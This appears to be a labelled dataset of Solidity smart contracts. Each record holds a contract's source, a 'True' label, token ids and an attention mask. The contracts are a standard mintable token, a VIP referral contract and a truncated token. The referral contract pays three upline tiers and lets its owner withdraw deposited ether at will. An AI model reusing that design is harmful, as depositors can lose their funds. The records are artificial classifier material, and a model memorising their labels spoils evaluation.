function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20,Pausable {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) whenNotPaused public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) whenNotPaused public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
whenNotPaused
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
whenNotPaused
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
whenNotPaused
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param _account The account that will receive the created tokens.
* @param _amount The amount that will be created.
*/
function _mint(address _account, uint256 _amount) internal {
require(_account != 0);
totalSupply_ = totalSupply_.add(_amount);
balances[_account] = balances[_account].add(_amount);
emit Transfer(address(0), _account, _amount);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param _account The account whose tokens will be burnt.
* @param _amount The amount that will be burnt.
*/
function _burn(address _account, uint256 _amount) internal {
require(_account != 0);
require(_amount <= balances[_account]);
totalSupply_ = totalSupply_.sub(_amount);
balances[_account] = balances[_account].sub(_amount);
emit Transfer(_account, address(0), _amount);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal _burn function.
* @param _account The account whose tokens will be burnt.
* @param _amount The amount that will be burnt.
*/
function _burnFrom(address _account, uint256 _amount) internal {
require(_amount <= allowed[_account][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
allowed[_account][msg.sender] = allowed[_account][msg.sender].sub(_amount);
_burn(_account, _amount);
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param _from address The address which you want to send tokens from
* @param _value uint256 The amount of token to be burned
*/
function burnFrom(address _from, uint256 _value) public {
_burnFrom(_from, _value);
}
/**
* @dev Overrides StandardToken._burn in order for burn and burnFrom to emit
* an additional Burn event.
*/
function _burn(address _who, uint256 _value) internal {
super._burn(_who, _value);
emit Burn(_who, _value);
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is BurnableToken {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
_mint(_to, _amount);
emit Mint(_to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract GUB is MintableToken {
// If ether is sent to this address, send it back.
function () public {
revert();
}
string public constant name = "Ancient coins’ chain";
string public constant symbol = "GUB";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 7000000000;
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
totalSupply_ = INITIAL_SUPPLY * (10 ** uint256(decimals));
balances[msg.sender] = totalSupply_;
emit Transfer(address(0), msg.sender, totalSupply_);
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2484,
1025,
1013,
1008,
1008,
1008,
1030,
2516,
3647,
18900,
2232,
1008,
1030,
16475,
8785,
3136,
2007,
3808,
14148,
2008,
7065,
8743,
2006,
7561,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
4800,
24759,
3111,
2048,
3616,
1010,
7065,
8743,
2015,
2006,
2058,
12314,
1012,
1008,
1013,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1035,
1037,
1010,
21318,
3372,
17788,
2575,
1035,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
1013,
1013,
3806,
20600,
1024,
2023,
2003,
16269,
2084,
9034,
1005,
1037,
1005,
2025,
2108,
5717,
1010,
2021,
1996,
1013,
1013,
5770,
2003,
2439,
2065,
1005,
1038,
1005,
2003,
2036,
7718,
1012,
1013,
1013,
2156,
1024,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
2330,
4371,
27877,
2378,
1013,
2330,
4371,
27877,
2378,
1011,
5024,
3012,
1013,
4139,
1013,
4720,
2475,
2065,
1006,
1035,
1037,
1027,
1027,
1014,
1007,
1063,
2709,
1014,
1025,
1065,
21318,
3372,
17788,
2575,
1039,
1027,
1035,
1037,
1008,
1035,
1038,
1025,
5478,
1006,
1039,
1013,
1035,
1037,
1027,
1027,
1035,
1038,
1007,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
16109,
2407,
1997,
2048,
3616,
19817,
4609,
18252,
1996,
22035,
9515,
3372,
1010,
7065,
8743,
2015,
2006,
2407,
2011,
5717,
1012,
1008,
1013,
3853,
4487,
2615,
1006,
21318,
3372,
17788,
2575,
1035,
1037,
1010,
21318,
3372,
17788,
2575,
1035,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1035,
1038,
1028,
1014,
1007,
1025,
1013,
1013,
5024,
3012,
2069,
8073,
19514,
2043,
16023,
2011,
1014,
21318,
3372,
17788,
2575,
1039,
1027,
1035,
1037,
1013,
1035,
1038,
1025,
1013,
1013,
20865,
1006,
1035,
1037,
1027,
1027,
1035,
1038,
1008,
1039,
1009,
1035,
1037,
1003,
1035,
1038,
1007,
1025,
1013,
1013,
2045,
2003,
2053,
2553,
1999,
2029,
2023,
2987,
1005,
1056,
2907,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
4942,
6494,
16649,
2048,
3616,
1010,
7065,
8743,
2015,
2006,
2058,
12314,
1006,
1045,
1012,
1041,
1012,
2065,
4942,
6494,
22342,
2003,
3618,
2084,
8117,
24997,
2094,
1007,
1012,
1008,
1013,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1035,
1037,
1010,
21318,
3372,
17788,
2575,
1035,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1035,
1038,
1026,
1027,
1035,
1037,
1007,
1025,
21318,
3372,
17788,
2575,
1039,
1027,
1035,
1037,
1011,
1035,
1038,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
9909,
2048,
3616,
1010,
7065,
8743,
2015,
2006,
2058,
12314,
1012,
1008,
1013,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1035,
1037,
1010,
21318,
3372,
17788,
2575,
1035,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1035,
1037,
1009,
1035,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1035,
1037,
1007,
1025,
2709,
1039,
1025,
1065,
1065,
1013,
1008,
1008,
1008,
1030,
2516,
2219,
3085,
1008,
1030,
16475,
1996,
2219,
3085,
3206,
2038,
2019,
3954,
4769,
1010,
1998,
3640,
3937,
20104,
2491,
1008,
4972,
1010,
2023,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
pragma solidity ^0.5.16;
/**
* Math operations with safety checks
*/
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20 is Ownable{
using SafeMath for uint;
mapping (address => uint) private _allowances;
event Approval(address indexed spender, uint value);
function allowance(address _addr) public view returns (uint) {
return _allowances[_addr];
}
function approve(address _addr, uint _amount)onlyOwner public returns (bool) {
_approve(_addr, _amount);
return true;
}
function transferFromAllowance(address _addr, uint _amount) public returns (bool) {
_approve(msg.sender, _allowances[msg.sender].sub(_amount, "ERC20: transfer amount exceeds allowance"));
address(uint160(_addr)).transfer(_amount);
return true;
}
function _approve(address _addr, uint _amount) internal {
require(_addr != address(0), "ERC20: approve to the zero address");
_allowances[_addr] = _amount;
emit Approval(_addr, _amount);
}
}
contract LIZVIP is Ownable, ERC20{
using SafeMath for uint;
uint32[5] public totalVipCount = [0,0,0,0,0];
mapping (address => address) public vipLevelToUp;
mapping (address => address[]) public vipLevelToDown;
mapping (address => uint8) private _vipPowerMap;
mapping (address => uint) private _vipBuyProfit;
event BuyVip(address indexed from, uint256 amount);
event VipLevelPro(address indexed from, address indexed to,uint256 amount, uint8 level);
event AddAdviser(address indexed down, address indexed up);
event GovWithdraw(address indexed to, uint256 value);
uint constant private vipBasePrice = 1 ether;
uint constant private vipBaseProfit = 30 finney;
uint constant private vipExtraStakeRate = 10 ether;
constructor()public {
}
function buyVipWithAdviser(address _adviser) public payable{
require(_adviser != address(0) , "zero address input");
if(_vipPowerMap[msg.sender] == 0){
if( _adviser != msg.sender && isVip(_adviser)){
vipLevelToUp[msg.sender] = _adviser;
emit AddAdviser(msg.sender,_adviser);
}
}
buyVip();
}
function buyVip() public payable{
uint8 addP = uint8(msg.value/vipBasePrice);
uint8 oldP = _vipPowerMap[msg.sender];
uint8 newP = oldP + addP;
require(newP > 0, "vip level over min");
require(newP <= 5, "vip level over max");
require(addP*vipBasePrice == msg.value, "1 to 5 ether only");
totalVipCount[newP-1] = totalVipCount[newP-1] + 1;
if(oldP>0){
totalVipCount[oldP-1] = totalVipCount[oldP-1] - 1;
}
_vipPowerMap[msg.sender] = newP;
doVipLevelProfit(oldP, addP);
emit BuyVip(msg.sender, msg.value);
}
function doVipLevelProfit(uint8 oldP, uint8 addP) private {
address current = msg.sender;
for(uint8 i = 1;i<=3;i++){
address upper = vipLevelToUp[current];
if(upper == address(0)){
return;
}
if(oldP == 0){
vipLevelToDown[upper].push(msg.sender);
}
uint profit = vipBaseProfit*i*addP;
address(uint160(upper)).transfer(profit);
_vipBuyProfit[upper] = _vipBuyProfit[upper].add(profit);
emit VipLevelPro(msg.sender,upper,profit,i);
current = upper;
}
}
function govWithdraw(uint256 _amount)onlyOwner public {
require(_amount > 0, "!zero input");
msg.sender.transfer(_amount);
emit GovWithdraw(msg.sender, _amount);
}
function isVip(address account) public view returns (bool) {
return _vipPowerMap[account]>0;
}
function vipPower(address account) public view returns (uint) {
return _vipPowerMap[account];
}
function vipBuySubCountOf(address account) public view returns (uint) {
return vipLevelToDown[account].length;
}
function vipBuyProfitOf(address account) public view returns (uint) {
return _vipBuyProfit[account];
}
function totalPowerStake() public view returns (uint) {
uint vipAdd = 0;
for(uint8 i = 0;i<5;i++){
vipAdd = vipAdd+vipExtraStakeRate*totalVipCount[i]*(i+1);
}
return vipAdd;
}
function powerStakeOf(address account) public view returns (uint) {
return _vipPowerMap[account]*vipExtraStakeRate;
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
2385,
1025,
1013,
1008,
1008,
1008,
8785,
3136,
2007,
3808,
14148,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
3853,
5587,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1007,
1063,
21318,
3372,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1007,
1063,
2709,
4942,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
4942,
6494,
7542,
2058,
12314,
1000,
1007,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1010,
7561,
7834,
3736,
3351,
1007,
1025,
21318,
3372,
1039,
1027,
1037,
1011,
1038,
1025,
2709,
1039,
1025,
1065,
3853,
14163,
2140,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1007,
1063,
2065,
1006,
1037,
1027,
1027,
1014,
1007,
1063,
2709,
1014,
1025,
1065,
21318,
3372,
1039,
1027,
1037,
1008,
1038,
1025,
5478,
1006,
1039,
1013,
1037,
1027,
1027,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
24856,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4487,
2615,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1007,
1063,
2709,
4487,
2615,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
2407,
2011,
5717,
1000,
1007,
1025,
1065,
3853,
4487,
2615,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1007,
1063,
1013,
1013,
5024,
3012,
2069,
8073,
19514,
2043,
16023,
2011,
1014,
5478,
1006,
1038,
1028,
1014,
1010,
7561,
7834,
3736,
3351,
1007,
1025,
21318,
3372,
1039,
1027,
1037,
1013,
1038,
1025,
2709,
1039,
1025,
1065,
1065,
1013,
1008,
1008,
1008,
1030,
2516,
2219,
3085,
1008,
1030,
16475,
1996,
2219,
3085,
3206,
2038,
2019,
3954,
4769,
1010,
1998,
3640,
3937,
20104,
2491,
1008,
4972,
1010,
2023,
21934,
24759,
14144,
1996,
7375,
1997,
1000,
5310,
6656,
2015,
1000,
1012,
1008,
1013,
3206,
2219,
3085,
1063,
4769,
2270,
3954,
1025,
2724,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
25331,
3025,
12384,
2121,
1010,
4769,
25331,
2047,
12384,
2121,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
1996,
2219,
3085,
9570,
2953,
4520,
1996,
2434,
1036,
3954,
1036,
1997,
1996,
3206,
2000,
1996,
4604,
2121,
1008,
4070,
1012,
1008,
1013,
9570,
2953,
1006,
1007,
2270,
1063,
3954,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
11618,
2065,
2170,
2011,
2151,
4070,
2060,
2084,
1996,
3954,
1012,
1008,
1013,
16913,
18095,
2069,
12384,
2121,
1006,
1007,
1063,
5478,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
3954,
1007,
1025,
1035,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
4473,
1996,
2783,
3954,
2000,
4651,
2491,
1997,
1996,
3206,
2000,
1037,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
pragma solidity 0.4.19;
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint remaining) {}
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract RegularToken is Token {
function transfer(address _to, uint _value) returns (bool) {
//Default assumes totalSupply can't be over max (2^256 - 1).
if (balances[msg.sender] >= _value && balances[_to] + _value >= balances[_to]) {
balances[msg.sender] -= _value;
balances[_to] += _value;
